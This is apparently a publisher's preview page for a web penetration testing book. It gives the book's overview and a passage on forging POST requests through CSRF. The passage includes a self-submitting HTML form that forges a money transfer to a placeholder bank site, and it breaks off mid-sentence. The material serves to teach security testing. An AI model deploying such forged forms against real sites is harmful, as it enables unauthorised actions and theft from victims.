Book Image

Mastering Modern Web Penetration Testing

By : Prakhar Prasad, Rafay Baloch
Book Image

Mastering Modern Web Penetration Testing

By: Prakhar Prasad, Rafay Baloch

Overview of this book

Web penetration testing is a growing, fast-moving, and absolutely critical field in information security. This book executes modern web application attacks and utilises cutting-edge hacking techniques with an enhanced knowledge of web application security. We will cover web hacking techniques so you can explore the attack vectors during penetration tests. The book encompasses the latest technologies such as OAuth 2.0, Web API testing methodologies and XML vectors used by hackers. Some lesser discussed attack vectors such as RPO (relative path overwrite), DOM clobbering, PHP Object Injection and etc. has been covered in this book. We'll explain various old school techniques in depth such as XSS, CSRF, SQL Injection through the ever-dependable SQLMap and reconnaissance. Websites nowadays provide APIs to allow integration with third party applications, thereby exposing a lot of attack surface, we cover testing of these APIs using real-life examples. This pragmatic guide will be a great benefit and will help you prepare fully secure applications.
Table of Contents (18 chapters)
Mastering Modern Web Penetration Testing
Credits
About the Author
About the Reviewer
www.PacktPub.com
Preface
Index

Exploiting POST-request based CSRF


As we discussed before, developers often make the mistake of moving to POST requests for critical actions, based on a website, by changing actions into forms while assuming that a form's POST request will not get forged. But in reality this can be very well forged—in this case the attacker uses a self-submitting form to accomplish the same.

A self-submitting form hosted by an attacker looks like the following:

<html>
  <head>
  </head>
  <body onload=document.getElementById('xsrf').submit()>
    <form id='xsrf' method="post" action=" https://bank.example.com/transfer/money">
      <input type='hidden' name='username' value='John'>
      </input>
      <input type='hidden' name='amount' value='500'>
      </input>
    </form>
</body>
</html>

The preceding code is for the same example as I explained earlier, but instead of GET the developer chose to implement POST for the actions, and this...